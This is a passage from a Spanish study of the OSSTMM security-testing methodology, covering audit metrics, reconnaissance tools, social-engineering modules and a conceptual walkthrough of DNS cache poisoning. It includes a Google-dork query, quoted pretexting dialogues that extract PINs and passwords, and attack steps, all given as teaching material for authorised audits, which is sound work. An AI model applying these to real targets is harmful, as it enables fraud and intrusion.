personas, informacin cultural, los procesos, negocios, imagen, propiedad intelectual, derechos
legales o capital intelectual. Es importante conocer esta definicin para tener clara la postura que
toma la OSSTMM a la hora de tratar lo que las personas entendemos por riesgo y as, saber que
entra como parte del trabajo del auditor/tester para realizar su trabajo. Se distinguen cuatro
aspectos:
Seguridad

(safety): Nos referimos a seguridad como seguridad humana(safety) en lugar de

informtica(security). Todos los tests deben de realizarse para comprobar las peores situaciones y
mayores prdidas
Privacidad: Todos los tests deben de realizarse sin vulnerar la privacidad de las personas. No solo
hay que tener en cuenta la legislacin regional (en Espaa la LOPD), sino que hay que hay que
tener en cuenta la tica, que muchas veces va por delante de la ley.
Aspecto prctico: Los tests deben de ser prcticos, buscando la simplicidad (en oposicin a lo
complejo), viabilidad y claridad.
Utilidad: muchas veces, lo til y lo seguro son opuestos. Cuanto ms seguro es algo,
generalmente, es menos prctico, y los usuarios deciden no utilizar la poltica de seguridad impuesta
(por ejemplo, escribir contraseas en post-its junto al monitor), por lo que todos los tests de este
manual buscan un nivel de seguridad til (practical security).

Seguridad perfecta:
En la metodologa, se sigue la tcnica de seguridad perfecta donde el tester y el analista guan al
cliente, hacia lo que debera ser la seguridad perfecta, que puede contrastar con muchos aspectos,
como las buenas prcticas, la regulacin de la industria, justificaciones de negocio etc.. donde el
cliente no puede permitirse el implementar esa seguridad perfecta. El resultado de esto, es la
seguridad perfecta para un cliente determinado, y el tester y analista, entonces, comprobarn el
estado de la seguridad real con esa seguridad perfecta.
En esta seccin se incluye tambin una lista de buenas prcticas (tericas) hacia la seguridad
perfecta, cuya lectura recomiendo, del documento original.

Mtricas de seguridad
Esta parte, es de las ms importantes de la metodologa, ya que convierte el proceso de test de
intrusin/auditora en algo medible, comparable y escalable. Adems, en ellas se refleja no solo los
datos tangibles y referentes a la red, sino que tambin se ven que partes son inexactas o distorsiones
de resultados.
En esta metodologa, a las mtricas se las conoce como Risk Assessment Values (RAVs). Estos no
son anlisis de riesgos en s mismos, sino que proporcionan datos concretos para un anlisis de
riesgos ms concreto y real.

Aplicando Risk Assessment Values

Los RAVs estn formados por tres hashes: operaciones, limitaciones y controles. stos, se
combinan para formar un cuarto hash: Seguridad Real, que proporciona la imagen total del sistema.
La naturaleza hash del sistema hace que sea infinitamente escalable, y comparable entre sistemas de
diferentes tamaos. Por ejemplo, con el RAV podramos comprar un solo objetivo con 10000
objetivos.
Pgina 18

Sin embargo, el Actual Security (o seguridad real) solo puede ser calculado por el alcance original.
Si hubiera algn cambio en el alcance (como pudiera ser el nmero de objetivos, por ejemplo),
habra que recalcular los hashes. Ahora bien, tambin es posible, coger 2 (o ms) mbitos distintos,
y combinarlos para calcular una Actual Security para todos, considerarlo como un alcance ms
grande.

Seguridad real
Tipo

Descripcin

Operaciones

Las operaciones, conceptualmente podemos

entenderlas como los servicios que ofrece el
sistema. stas, estn definidas por la visibilidad,
confianza y accesos que ofrece el sistema.

Controles

Existen 10 tipos de controles. 5 de clase A y 5 de

clase B. Entre estos, podemos encontrar no slo
aquellos controles que evitan accesos no
permitidos, sino que, por ejemplo, el servidor
est asegurado contra incendios, de forma que
las prdidas sean menores. Son controles de
impacto y reduccin de prdidas.

Limitaciones

Es el estado actual de las limitaciones que

ofrecen las operaciones y controles. Por poner
un ejemplo, el ver que una cerradura est
oxidada es una limitacin.

Seguridad operacional (OPSEC)

Como hemos dicho antes, la seguridad de operaciones, se subdivide en visibilidad, confianza y
accesos que ofrece el sistema. A continuacin se muestra una tabla explicando estas partes con un
poco ms de detalle. Aparece tambin un cuarto concepto, el de OPSEC Delta:
Categora OPSEC

Descripcin

Visibilidad

Es el nmero de objetivos pertenecientes al

alcance, y que se puede comprobar su existencia
de forma directa, indirecta o pasivamente. Es
decir, por ejemplo, si determinamos que hay un
servidor web que accede a una base de datos que
est en otra mquina, habremos encontrado 2
mquinas. Normalmente no es realista que haya
ms objetivos visibles que objetivos haya
definidos en el alcance, sin embargo, es posible
que por malas configuraciones aparezcan
algunos que no deberan de ser visibles.

Confianza

Una confianza, por ejemplo, podra ser el paso

de una habitacin a otra, sin necesidad de tener
Pgina 19

una llave (o tener la llave de todas las

habitaciones). Es el acceso sin autenticacin a
algn objetivo. El sistema confa en que si una
persona ha llegado a un determinado punto,
puede llegar al siguiente.
Acceso

Un acceso es un punto de interaccin con un

objetivo. En la visibilidad, contbamos el
nmero de objetivos que haba. Aqu, contamos
concretamente los accesos. Un ejemplo, podra
ser si podemos conectarnos a un servidor
mediante SSH y samba. Esto sera una
visibilidad de 1, pero hay 2 accesos. En el
manual se incluyen 3 ejemplos muy descriptivos
sobre los accesos.

OPSEC Delta

Visibilidad + confianza + acceso.

Controles
La OSSTMM divide los tipo de control en dos grandes categoras. El tipo A (interactivo) y el tipo B
(proceso). A continuacin presento los tipos y una descripcin:
Tipo A

Tipo

Breve descripcin

Autenticacin

Para comprobar que la persona es quien dice ser.

Contar cada vez que el sistema requiera una
autenticacin (por ejemplo, un login y pass).

Indemnizacin

Sirve para amortizar las prdidas que suponen la

prdida o dao de un activo. Por ejemplo, el
tener asegurado un servidor.
Contar cada
mtodo que haya para precisar responsabilidad o
seguro que compense.

Subyugacin

Representa imposiciones que se hacen sobre

algo por alguien o algo superior. Por ejemplo, el
rellenar un formulario web y se compruebe en el
servidor en vez de en el cliente. Contar cada vez
que haya un acceso (aunque sea de confianza)
que no permite se controlen fuera de l.

Continuidad

La continuidad se da cuando un activo sustituye

a otro cuando el segundo falla. Contar cada
mtodo que haya por acceso (o confianza) que
asegure que no haya interrupcin en la
interaccin cada vez aunque algo falle.

Resistencia

Se trata de la recuperacin ante fallos. Es decir,

que cuando algo falle, pueda recuperarse
rpidamente y sin efectos colaterales. Contar por
Pgina 20

cada instancia de mtodo que se asegure que el

activo falla de forma segura.

Tipo B

Tipo

Descripcin

No-repudio

El no-repudio significa que aquella persona que

realiza una accin no pueda negar que lo haya
hecho. Contar por cada instancia de acceso o
confianza que use algn mecanismo de norepudio. Un ejemplo de esto, sera que al
acceder a un edificio, sea cual sea el mtodo de
acceso, se grabe con una cmara de video.

Confidencialidad

Se encarga de que solamente las partes

autorizadas puedan leer la informacin
transmitida. Contar cada mtodo que garantice
confidencialidad. Un buen ejemplo, sera el
codificar la informacin transmitida.

Privacidad

La privacidad se entiende como el mantener

oculto el cmo se intercambia la informacin.
Por ejemplo, intercambiar informacin fuera de
la visibilidad de terceras partes (por ejemplo,
reuniones de trabajo en despachos cerrados).
Contar cada instancia para acceso o confianza
que mantenga oculto el mtodo de interaccin.

Integridad

La integridad es el que la informacin

intercambiada entre las partes involucradas, no
se vea modificado por una tercera parte. Contar
para cada instancia de acceso o confianza que
use algn mtodo que garantice que los datos
han llegado con integridad. Por ejemplo, usando
una hash o codificando los datos.

Alarma

Es un control que notifica cuando algn evento

ha ocurrido. Contar cada evento de acceso o
confianza que registre o notifique cuando algn
evento ocurra.

Control Delta

(Sumar todos los controles) * 0.1

Limitaciones
Las limitaciones de un sistema, describen el estado actual de su seguridad en cuanto a errores se
refiere. stos, se dividen en varias categoras: vulnerabilidades, debilidades, preocupaciones,
exposiciones y anomalas. Ms adelante, en esta misma seccin se ahondar en estos conceptos.
Existe la creencia, de que las limitaciones solamente son limitaciones cuando no tienen justificacin
en el negocio. Puede que desde el punto de vista empresarial as sea, pero desde el punto de vista
Pgina 21

del auditor, lo son, y han de ser tenidas en cuenta. El auditor las recopilar en los informes, y ser
responsabilidad del cliente el tenerlas en cuenta o no. El hecho de que quiera ponerles solucin o
no, es una cuestin propia de la estrategia de negocio, donde el responsable de esos activos decidir
si el riesgo que supone el perder (y recuperar) no justifiquen los costes de reparar o controlar esa
limitacin. Adems, existen otras razones, como la legislacin vigente en la zona del negocio, que
impiden el controlar estos fallos. Por ejemplo, el leer el correo de los empleados para evitar
filtraciones de informacin est prohibido en Espaa sin orden judicial.
Otro punto importante a tener en cuenta a la hora de contabilizar las limitaciones del sistema, es el
que se deberan contar los errores de seguridad por objetivo, y no los objetivos con errores. Es decir,
debemos hacer constancia de cada fallo que tiene cada objetivo.
A continuacin presento una descripcin de los tipos de limitaciones, y algunos ejemplos de ellos,
centrndome en las ms relacionadas con telecomunicaciones o datos. Para ms ejemplos, leer la
propia metodologa. Incluye ejemplos de PHYSEC, HUMSEC, COMSEC data, COMSEC
telecommunications, SPECSEC.
Tipo de limitacin

Descripcin y ejemplos

Vulnerabilidad

Una vulnerabilidad es un error que impida el

acceso a personas autorizadas, o que no niegue
el acceso a las no autorizadas, o que permita el
ocultamiento de personas no autorizadas o
activos.
Ejemplo: Una vulnerabilidad que permita un
buffer overflow y de acceso a un atacante a
escribir zonas de memoria no autorizadas para
ganar permisos.

Debilidad

Una debilidad es un tipo error que reduce los

efectos
de
controles
interactivos
de
autenticacin,
indemnizacin,
resistencia,
subyugacin y continuidad. Es decir, que afecta
negativamente a los controles o medidas de
reduccin de riesgos y limitaciones a usuarios
malintencionados.
Ejemplo: que no haya un limite mximo de
intentos de login, no limitar servicios que
pudieran colapsar el sistema (DoS).

Preocupacin

Una preocupacin aparece cuando no se siguen

las prcticas recomendadas de seguridad, pero
que el no seguirla no se muestra como un
peligro real.
Ejemplo: un servidor con un proceso fingerd
corriendo, y que no requiere el servicio de
FINGER.

Exposicin

Una exposicin es el mostrar visible algn

activo de forma no justificada de forma directa o
indirecta.
Ejemplo: el mostrar banners de servicio muy
detallados y vlidos (si no son vlidos, no se
Pgina 22

considera una exposicin), o el que una mquina

responda a mensajes ICMP.
Anomala

Una anomala es un elemento inidentificable o

desconocido, que no sea una operacin normal.
Es decir, cuando ocurre algo en el sistema que
no esperamos que ocurra, y que no podemos
clasificar, o que no entendemos porqu ocurre.
Suele ser un signo de que hay algn fallo, o que
acabar ocurriendo.
Ejemplo: recibir respuestas de mquinas de las
que no esperbamos respuesta.

Seguridad real
Para poder medir el estado actual de la seguridad, se requiere un clculo final para poder comparar
los distintos sistemas, la Seguridad Real. sta combina los tres hashes que hemos descrito
anteriormente (operacional, controles y limitaciones), y los combina en un cuarto.
Los parmetros que pasamos a describir a continuacin, son utilizados a modo comparativo. El
valor que realmente interesa a la hora de entregar los resultados al cliente, es realmente los RAV,
que el propio ISECOM calcular en funcin de los resultados que se les enve en las plantillas que
se adjuntan al final de la metodologa. Para poder obtener el certificado de que se ha pasado la
auditora OSSTMM con xito, se deber tener, al menos, un 95% en el RAV, y revisarse una vez al
ao.
La forma exacta de calcular los valores que presento a continuacin vienen descritas en un
documento en la propia web de ISECOM. Se recomienda su lectura solamente a desarrolladores,
aunque siempre es interesante echarles un vistazo para poder tener en cuenta que es lo que estamos
haciendo:
1.Delta real: Opsec Delta + Control Delta Limitaciones Delta. Debemos recordar que el Control
Delta, es la suma de todos los controles multiplicado por 0.1. ste parmetro es til para poder
estimar el cambio en delta que la solucin que el cambio en el sistema aportar.
2.Seguridad real (total): es el estado real de la seguridad presentado como un hash de las tres
secciones, y representado en un porcentaje donde el 100% representa un balance entre los controles
por puntos de interaccin vs activos sin limitaciones.

Secciones y mdulos
En la metodologa, esta seccin hace una descripcin de consejos que deben de tenerse en cuenta a
la hora de seguir los mdulos, secciones y tareas concretas a la hora de realizar el test de intrusin,
como por ejemplo el hecho de que se debe de ser imparcial a la hora de realizar las tareas para
poder obtener resultados de la forma ms objetiva posible. Esto ya se ha descrito anteriormente en
el presente documento. Se habla tambin de que el tiempo es relativo, ya que no todos los sistemas
son iguales. Y no solo con respecto al tamao, sino tambin a la complejidad del sistema.
En las prximas secciones, pretendemos describir los distintos mdulos que existen en la
metodologa, incluyendo experiencia propia, o investigaciones que se han ido realizando sobre las
mismas a lo largo de la realizacin del presente documento. Para poder consultar las tareas
concretas, y para poder realizarlas correctamente, remitimos al lector al documento original.

Pgina 23

Metodologa
Los tests de seguridad empiezan con una entrada que es, en su forma mas precaria, las direcciones
de los sistemas a auditar. Los tests, terminan con el principio de la fase de anlisis, y la elaboracin
del informe final. La metodologa no afecta a la forma, tamao, estilo o contenido del informe final,
y no especifica como debe de ser analizado. Esto es tarea del tester y/o la organizacin.
La OSSTMM se divide en secciones, las cuales se dividen a su vez en mdulos, y stos, en tareas
concretas. Se debe distinguir, entre recoleccin de datos, y la verificacin de los mismos. Es decir,
no solamente se deber buscar fallos, vulnerabilidades etc, sino que adems, se deber comprobar,
efectivamente, que existen. Es por ello, que una metodologa no debe de compararse con un simple
escaneo de vulnerabilidades o puertos. Para realizar la OSSTMM, adems, hay que comprobar los
resultados obtenidos.
Al definir la metodologa a seguir, es importante no delimitar la creatividad del tester: habr casos,
en los que estndares o formalismos hagan que la calidad del test pueda mitigar, por lo que siempre
ser el tester el que tenga la ltima palabra, y podr realizar los tests segn su experiencia y
creatividad. Cabe aadir, adems, que muchas de las tareas son poco concretas y abiertas,
previniendo el que nuevas tecnologas o caractersticas dejen obsoletas estas tareas. Es comparable
pues, a las leyes jurdicas, donde suelen ser vagas y libres de interpretarse, para que puedan abarcar
mas casos, ya que sera completamente imposible definir toda situacin posible y futura.
Cada mdulo, est relacionad con el anterior y el siguiente, y entre secciones ocurre de forma
similar. Los datos y conclusiones obtenidas en un mdulo, pueden servir para la realizacin de la
siguiente tarea. Por ejemplo, se pueden descubrir nuevos hosts para comprobar.

Seccin A Seguridad de la informacin

1. Revisin de la inteligencia competitiva
Este mdulo, quizs sea el menos valorado de todos a la hora de realizar un test de penetracin
(legal o no), ya que no es intrusivo, y se puede realizar sin ningn tipo de conocimiento tcnico en
tests de intrusin.
Bsicamente, se trata de recabar toda la informacin posible de la empresa auditada. Nos interesa,
sobre todo, el poder encontrar informacin para poder crear un mapa y estructura de las
instalaciones informticas. Buscar la presencia en Internet que tiene la empresa. Es decir, se trata de
encontrar toda la informacin disponible que nos revele datos (sensibles o no) sobre la empresa.
Muchas veces, nos daremos cuenta de que mucha informacin puede ser recabada de forma legal,
en pginas webs, en la prensa, etc...
Resulta interesante, por ejemplo, recabar toda informacin relacionada a los servicios que pudiera
ofrecer la compaa (tales como nmeros de telfono, emails junto con personas de contacto,
pginas web, servidores FTP etc..), as como muchos otros de carcter menos tcnico, aunque
puedan ser utilizados para, por ejemplo, ingeniera social. Algunos aspectos interesantes podran
ser:
Compaa

de la cual depende
Compaas dependientes de la misma
Compaas hermanas
Proveedores
Clientes
Productos que ofrece
Pgina 24

Cualquier IP relevante a algunas de stas, podra ser til al realizar el ataque. Consideraremos
relevantes las IP si stas:
Pertenecen

a la organizacin
Usadas por la organizacin
Estn registradas a nombre de la organizacin
Sirve a la organizacin de alguna forma
Est asociada a la organizacin
Cabe notar, que a la hora de realizar la auditora, hemos de tener muy claro que la informacin
recogida en esta seccin, puede estar tanto dentro, como fuera del alcance de nuestro contrato.
Como sugerencia de un software para realizar esta seccin de forma ordenada, se ha hablado
ltimamente de una aplicacin de software libre, que permite realizar una revisin de la inteligencia
competitiva de forma ordenada. Esta aplicacin se llama Maltego. Segn su web oficial
(http://www.paterva.com/maltego/), describe Maltego como:
Maltego es una aplicacin de inteligencia y forense libre. Permite la minera y recogida de
informacin adems de la representacin de esta informacin de una forma til.
Junto con sus libreras grficas, Maltego, te permite identificar relaciones clave entre la informacin
e identificar previamente relaciones entre ella.
A continuacin muestro una captura de pantalla(Figura 1: ):

Figura 1:
Algo interesante para aadir en esta seccin, es algo que parece estar extendindose en fama en
estos das, el Google hacking.
El Google hacking consiste en utilizar la potencia de almacenamiento y bsqueda de algunos
motores de bsqueda (en este caso, de Google), para buscar informacin sensible, o que no debera
ser pblica, en las bases de datos del buscador. stas, se realizan mediante la utilizacin de palabras
clave o sentencias especficas, y suelen ser de gran ayuda para el auditor.
En su formato malicioso, puede ser utilizado para detectar servidores web (o pginas web) que sean
vulnerables a ciertas vulnerabilidades, o fallos de seguridad. Tambin, sirven para buscar
Pgina 25

informacin sensible de otras personas, como tarjetas de crdito, passwords.

La forma de uso del Google hacking, es mediante el uso de operadores avanzados de filtro de
Google. Por ejemplo, la sentencia:
intitle:admbook intitle:version filetype:php
Busca todas las pginas web que contengan admbook y version en el ttulo, y que la web
accedida es PHP. Esto es til, ya que muchas pginas web, por defecto vienen con un texto
contenido en la web, que especifica la versin, y sta podra tener una vulnerabilidad conocida.

2. Revisin de la privacidad
La revisin de la privacidad, se encarga de las partes ticas y legales referentes al almacenaje,
transmisin y control de datos de empleados y clientes. Se encarga de que se cumplan los derechos
de las personas dentro de una empresa, para que sus datos personales no queden al descubierto de
todo el mundo. Se refiere tambin, a como se distribuyen las contraseas. No es lo mismo
transmitirlas mediante palabra, que por escrito, va mail etc... Esto puede ser muy comprometedor
tanto para la empresa como para la persona afectada. Es comn, encontrar muchas contraseas
escritas en, por ejemplo, post-its pegados en el borde del monitor del puesto de trabajo.
A pesar de que muchas leyes son locales, todas se aplican a Internet, y por tanto, afectan a los
security testers internacionalmente. Es necesario pues, tener un conocimiento bsico de estas leyes,
y las medidas necesarias para que la empresa pueda cumplirlas.
En lo que se refiere a Espaa, las leyes mas famosas que guardan relacin con la privacidad, son la
Ley Orgnica de Proteccin de Datos (LOPD) y la Ley de Servicios de la Sociedad de la
Informacin (LSSI o LSSICE). No entraremos en detalles sobre estas leyes, pero bsicamente se
refieren a:
LOPD: objetivo principal es regular el tratamiento de los datos y ficheros, de carcter personal,
independientemente del soporte en el cual sean tratados, los derechos de los ciudadanos sobre ellos
y las obligaciones de aquellos que los crean o tratan .
LSSI:
Las obligaciones de los prestadores de servicios incluidos los que acten como intermediarios en la
transmisin de contenidos por las redes de telecomunicaciones .
Las comunicaciones comerciales por va electrnica.
La informacin previa y posterior a la celebracin de contratos electrnicos.
Las condiciones relativas a su validez y eficacia.
El rgimen sancionador aplicable a los prestadores de servicios de la sociedad de la informacin.

3. Recoleccin de documentos
Esta seccin, guarda cierta relacin con el punto uno de esta seccin (Revisin de inteligencia
competitiva), aunque esta se centra ms, en aspectos ms pequeos y concretos, como emails,
ofertas de trabajo etc... que se pueden extraer de la informacin o metadatos que incluyen los
documentos. Una herramienta interesante para realizar esto, podra ser FOCA(Figura 2: ). Se trata
de un programa para la descarga de ficheros ofimticos de pginas web, extraer informacin oculta,
metadatos, y datos perdidos. Tambin puede cruzar la informacin obtenida e intentar conseguir el
mapa de la red estudiada. Se cre para la gira Up To Secure y Blackhat Europe 2009.

Pgina 26

Figura 2:

Dispone tambin de una versin online(Figura 3: ), que puede ser muy til para realizar esta seccin
de forma rpida, y desde cualquier lugar que disponga de conexin a Internet.

Figura 3:

Seccin B Seguridad de los procesos

1. Testeo de Solicitud
Este tipo de testeo, es una rama de lo que se conoce como ingeniera social. En este caso, tratamos
de ganar acceso solicitando permiso al personal encargado de dar permisos de acceso, mediante el
uso de sistemas de comunicacin (email, telfono, etc...) hacindonos pasar por otra persona.
Uno de los principios bsicos de la ingeniera social dice, que los usuarios son el eslabn dbil. Y
esto es muchas veces cierto. Muchas veces, los fallos de seguridad de la informacin no provienen
de la mala programacin o configuracin del sistema, sino de la gente no entrenada, poco precavida,
o simplemente indiscreta. Esto muchas veces se resuelve como una persona que utilizar Internet, o
el telfono fingiendo ser, por ejemplo, un empleado de algn banco, una tercera empresa, cliente
etc.. en busca de algn tipo de informacin que le permita el acceso al sistema.
Un ejemplo sencillo, podra ser el hacerse pasar por el administrador, pidiendo a los usuarios por
email su contrasea para cualquier propsito legtimo. Esto muchas veces se ve en el da a da de
Pgina 27

cualquier internauta, cuando recibe el llamado phishing de alguna entidad, que pide el nmero de
tarjeta de crdito para realizar cualquier comprobacin.
Esto, que parece tan simple, como es el hacerse pasar por alguien, es curiosamente un mtodo que
suele resultar bastante eficaz, y mucho menos costoso que la bsqueda de fallos informticos. De
hecho, es conocido por la web, que en una empresa llamada Boixnet, se hizo una encuesta, donde el
90% de los empleados de oficina de la estacin de Waterloo, revel sus contraseas a cambio de un
bolgrafo barato. No se hasta que punto ser cierto esto, ya que no he sido capaz de contrastarlo con
fuentes fiables, pero al menos nos deja ver, la importancia que toma en la red, el concepto de
ingeniera social. Adems, encontrar ejemplos reales de ataques de ingeniera social suele ser
difcil, ya que las organizaciones que lo han sufrido no quieren admitirlo, o no ha sido documentado
formalmente, o quizs ni siquiera se dieron cuenta de que lo han sufrido. No obstante, existen un
par de ejemplos extrados del International Secutity Institute:
Te llaman a medianoche:
Ha

estado usted llamando a Egipto durante las ltimas 6 horas?

No
Bueno,

pues tenemos registrada una llamada que est activa ahora

mismo, y est siendo efectuada desde una tarjeta de llamada a su
nombre, y adems, est llamando a Egipto. Es ms, tiene hasta
2000$ en llamadas de alguien que est utilizndola a su nombre.
Eres responsable de esos 2000$, tiene que pagarlo.... estoy
arriesgando mi puesto de trabajo, intentando deshacerme de esos
2000$, pero necesitar leer su tarjeta, y el PIN, y entonces podr
quitarlo
Otro de los principios fundamentales de la ingeniera social, es el aprovecharse de la naturaleza
humana de querer ayudar. Las lneas de atencin al cliente, son especialmente vulnerables a esto, ya
que estn precisamente para ayudar, y los hackers malintencionados, aprovechan esta cualidad al
mximo. Adems, la gente que trabaja en estos puestos suele tener muy poco entrenamiento en
cuestiones de seguridad, y un sueldo mnimo, por lo que los hace las vctimas perfectas.
Por ejemplo, en una demostracin en vivo realizado por el Computer Security Institute:
Llamaron a una compaa telefnica, donde fueron transferidos aqu
y all, hasta que llegaron a un puesto de atencin al cliente.
Quien es supervisor en guardia hoy?
Betty
Pseme con Betty
[En este momento, le transfieren con Betty.]
Hola Betty, est teniendo un mal da?
No, porqu?
Su sistema parece cado
No, mi sistema no est cado, parece que funciona correctamente.
Mmmm prueba a salir y a volver a entraremos
[Betty sale y vuelve a entrar]
No hemos notado ningn cambio. Sal y vuelve a entrar de nuevo
[Betty vuelve a salir y a entrar]
Nada. Voy a tener que entrar como usted, y buscar a ver que est
Pgina 28

pasando con su ID. Dgame su ID y su password.

Como vemos, los ejemplos pueden ser bastante bien ideados e inteligentes, y gente que no ha sido
advertida, o poco entrenada, es propensa a dar sus datos.

2. Testeo de sugerencia guiada

Este mdulo, tambin es una rama de la ingeniera social. En muchos aspectos, coincidir con el
mdulo anterior, es decir, que no son mutuamente excluyentes.
La diferencia bsica entre ellos, es que en este caso, el atacante se hace pasar por otra persona, e
invita a otra a visitar un lugar externo (por ejemplo, una pgina web, o cuenta de email).
Uno de los primeros ejemplos que se pueden ver, es el phishing, del cual ya hemos hablado en el
apartado anterior. Puede ser, simplemente, que esa persona enve los datos al atacante, o que la
vctima visite una web que el atacante indique, donde tendr preparada algn sistema para
atacar/engaar a la vctima.
Sistemas para atacar usando el sistema de invitar a la vctima a visitar un enlace hay muchos.
Por ejemplo, el invitar a la vctima a una pgina web que es completamente idntica a la oficial
(supongamos la pgina web de un banco), donde se le pide al usuario que introduzca sus datos
(usuario, contrasea, PIN de la tarjeta de crdito etc...), y le haga click en enviar/confirmar.
Entonces, la pgina web enva los datos al atacante, que puede leer los datos, y utilizarlos.
Una forma de evitar esto, sera el mirar la direccin web, y asegurarse de que no es extraa, y que
pertenece a la web oficial. Esto ltimo, da pie a hablar de un fallo de seguridad que surgi el verano
pasado: el fallo del DNS.
El fallo fue descubierto por Dan Kaminsky, conocido investigador en seguridad que trabaja para
IOActive. Fue muy aplaudido por su forma de tratar su descubrimiento, alertando a las autoridades
pertinentes, y tras unos meses, explicar el fallo a la comunidad.
El fallo en cuestin, permita a un atacante, redirigir clientes a servidores alternativos de su
eleccin, los cuales poda utilizar con fines fraudulentos.
A continuacin se describe con detalle como funcionaba el supuesto fallo:
Suponiendo que el lector sepa como funciona una consulta DNS correcta, pasamos a recordar los
campos mas importantes de un paquete DNS(Figura 4: ):

Pgina 29

Figura 4:
De este paquete, nos interesan especialmente los siguientes campos:
Source/Destination IP address: son las direcciones origen y destino respectivamente.
Source/Destination ports: puertos origen y destino respectivamente. El puerto destino del
primer paquete ser siempre 53/UDP, ya que los servidores DNS, escuchan en este puerto
normalmente.
Query ID: identificacin de peticin. Sirve para que, los servidores puedan emparejar las
respuestas con las peticiones recibidas, ya que un servidor suele recibir muchas peticiones
simultneamente.
RD(Recursion Desired): sirve para indicar si se desea recursin (se marca con un 1), o no
(se marca con un 0) para las consultas DNS. No todos los servidores de nombres ofrecern
recursin.
Answer/authority/additional record count: sirven para indicar distintos tipos de respuesta
para la peticin que efectu el cliente.
DNS Question/Answer data : este campo contiene los datos de la pregunta/respuesta de los
campos anteriores. Por ejemplo, la tupla nombre de dominio IP.
Una vez conocidos estos campos, podemos explicar como funciona el fallo de DNS, o ms
correctamente, el envenenamiento de cach (cache poisoning).
El envenenamiento de cache de DNS no es tan sencillo como simplemente enviar paquetes
aleatorios al servidor de nombres (al contrario que otros envenenamientos, como ARP), ya que el
servidor de nombres slo acepta respuestas de peticiones que an tiene pendientes.
Como sabe un servidor de nombres que espera un determinado paquete?
El paquete llega al mismo puerto UDP desde el que se envi.
La seccin pregunta/respuesta (que est duplicada en la respuesta del paquete), coincide con la
pregunta/respuesta de la peticin pendiente.
La Query ID coincide con la peticin pendiente.
Pgina 30

Que

las secciones de Authority y Additional contienen nombres que se encuentran dentro del
mismo dominio que la pregunta. Esto se conoce como "bailiwick checking".
Si se satisfacen todas estas condiciones, el servidor de nombres aceptar la respuesta como vlida, y
almacenar en su cach la nueva tupla nombre de dominio IP.
Ahora bien, como conseguimos que se den todas estas condiciones?
El fallo, surge del hecho de que es fcil adivinar el Query ID, ya que en los antiguos servidores de
nombres, el Query ID simplemente aumenta en uno en cada peticin que enva, y esto hace que sea
fcil de saber cual ser el siguiente mientras podamos conocer alguna peticin.

Figura 5:
Podemos provocar al servidor de nombres que nos diga su Query ID, tal y como se expone(Figura
5: ):
1.El usuario malintencionado (bad guy en el diagrama) pregunta al servidor de nombres vctima por
un nombre en una zona para un servidor de nombres que l controla (en el ejemplo,
test.badguy.com). Podra tambin preguntar al servidor directamente, si permite recursin desde
donde se encuentra el usuario malintencionado, o tambin convencer a un usuario para que busque
un nombre, por ejemplo, incluyendo el nombre del test en una pgina web.
2.El servidor de nombres vctima recibe la peticin y opera como lo hara normalmente, intentando
resolver el nombre de dominio en los servidores raz.
3.La direccin test.badguy.com se resuelve en el servidor del usuario malintencionado (puesto que
es suyo.
4.Mientras tanto, el usuario malintencionado ha estado monitorizando el trfico IP que pasa por su
mquina, y as captura la Query ID utilizada.
En este punto, ya tenemos la Query ID, aunque en realidad no hemos envenenado la cach, ya que
la direccin test.badguy.com era realmente lcita y perteneciente al usuario malintencionado. Pero,
Pgina 31

ahora, ya conocemos como podemos predecir el Query ID, adems de otros datos como el puerto
UDP, ver los servidores de nombres que se han ido consultando etc. Ahora, veamos como
finalmente podemos utilizar esto para finalmente envenenar la cach (Figura 6: ):

Figura 6:
Paso

1: El usuario malintencionado enva una peticin DNS al servidor de nombres vctima del
hostname que quiere falsificar (www.bankofsteve.com). En el ejemplo, se asume que el servidor
de nombres vctima permite peticiones recursivas desde la zona del atacante.
Paso 2a: Sabiendo que la vctima est a punto de hacer una consulta de una direccin IP a
ns1.bankofsteve.com(redirigido desde los servidores raz), el atacante empieza a lanzar mltiples
peticiones a la vctima con paquetes DNS de respuesta, simulando que provienen de
ns1.bankofsteve.com (servidores globales), con el nombre del dominio a secuestrar, y la IP del
servidor web del atacante.
Pasos 2b y 3: La consulta DNS se realiza normalmente, respondiendo a la vctima que consulte el
servidor ns1.bankofsteve.com.
Paso 4: el servidor de nombres vctima pregunta a ns1.bankofsteve.com por la direccin IP de
www.bankofsteve.com, y utiliza el Query ID 1001 (uno mas que la Query anterior).
Paso 5: El servidor de nombres real responde a la Query con Query ID?1001. Pero, como el
atacante ha estado enviando muchas respuestas en el paso 2a, la respuesta legal llega demasiado
tarde, por lo que se descarta.
Pgina 32

Paso

6: Ahora, en la cach del servidor de nombres vctima est la direccin fraudulenta, y a partir
de ahora, siempre que se le consulte, responder con la direccin IP del atacante.
Porqu ha sucedido esto? El problema, es que se acepta la primera respuesta correcta, aunque haya
recibido muchas incorrectas, y contine recibiendo correctas despus.
Cabe destacar unas cuantas cuestiones sobre el tema:
El nombre NO DEBE estar en la cach antes del ataque. Si la direccin estuviera ya en la cach, no
se efectuaran consultas, por lo que hay que esperar a que caduque en la cach, y luego intentar el
ataque.
El atacante, debe adivinar la Query ID, pero como vemos, esto es posible, ya que solo se
incrementa en 1 cada vez, por lo que el rango de pruebas suele ser pequeo an en servidores con
muchas peticiones.
Por ltimo, hay que destacar, que la vctima debe recibir la respuesta correcta del atacante ANTES
de que se reciba la respuesta legal, por lo que debe de estar ms prximo a l que el lcito (cercano
en cuanto a tiempo), sino, llegar tarde, y se descartar.
Este problema del DNS se ha conseguido solucionar, utilizando mtodos para que sea ms difcil
adivinar la respuesta del Query ID, y ha habido que parchear una gran cantidad de servidores a lo
largo de la web. Desde luego, el descubrimiento de esta brecha de seguridad dio mucho que hablar
en 2008, aunque parece que ya est solucionado.

3. Testeo de las Personas Confiables

Este es el tercero de los mdulos que trata sobre ingeniera social. En este ltimo, se distingue de
los dems, en el hecho de que en ste, lo que se busca es informacin privilegiada. No tiene porqu
ser un password, o conseguir permisos. Muchas veces, la mayora de las personas no tiene ninguna
dificultad en revelar informacin sensible, lo cual, para una persona malintencionada puede ser muy
til. Como ejemplo, muestro una situacin ficticia, que aunque no est enfocada al mundo
empresarial, bien puede mostrar el alcance de este tipo de adquisicin de informacin. El ejemplo
fue escrito por Antonio Villaln, en el blog perteneciente a la empresa S2 Grupo (empresa
Valenciana de Seguridad gestionada):
Qu hacer cuando dispones nicamente de un nmero de telfono
mvil, sin ms datos? Puedes poner un anuncio en coches
estacionados en diferentes zonas de la ciudad, pegado al cristal,
con un precio atractivo y ese nmero de telfono. Pero eso no
supone ningn reto; s que puede ser un reto tratar de conseguir
la informacin de esa persona; un poco de ingeniera social nunca
